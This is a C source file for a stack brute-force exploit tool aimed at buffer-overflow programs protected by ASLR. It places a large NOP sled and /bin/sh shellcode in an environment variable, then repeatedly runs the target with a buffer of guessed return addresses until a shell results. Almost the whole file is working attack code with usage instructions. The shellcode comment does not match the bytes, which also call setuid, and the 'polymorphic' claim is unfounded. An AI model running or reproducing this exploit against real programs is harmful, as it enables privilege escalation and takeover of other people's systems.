Stack bruteforcing utility against buffer overflow programs with ASLR. Provides polymorphic shellcode for /bin/sh.
d56b8333a432e6588c4397209bb5d75730a1eb5003fc9380c6c5f8fe305840b2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/*
You can use debugger to get esp address, that can make program will be defeated more faster !
RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4 // you may change this
#define NOP 0x90
// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000
char shellcode[] =
/*
; standard /bin//sh
global _start
_start:
xor eax,eax
push byte 11
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push ebx
int 0x80
*/
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
char *application = NULL;
char *buffer = NULL;
char env_var[ENV_LEN];
char *env[2] = { env_var, NULL};
int *p, num, ret, pid, payload_size;
if (argc < 3)
{
printf("\nStack Brute Force");
printf("\nProgrammer : Gunslinger_");
printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
exit(1);
}
printf("[*] Using return address 0x%x \n", RET);
printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
application = strdup(argv[1]);
payload_size = atoi(argv[2]);
buffer = (char*) malloc(payload_size);
memset (env_var, NOP, ENV_LEN);
memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
env_var[ENV_LEN-1]=0;
p = (int*) buffer;
for (num = 0; num < payload_size; num += sizeof(int), p++)
*p = RET;
*p=0;
do {
switch(pid=fork())
{
case 0:
execle (application, application, buffer, NULL, env);
exit(0);
break;
default:
waitpid (pid, &ret, 0);
break;
}
}
while (ret);
}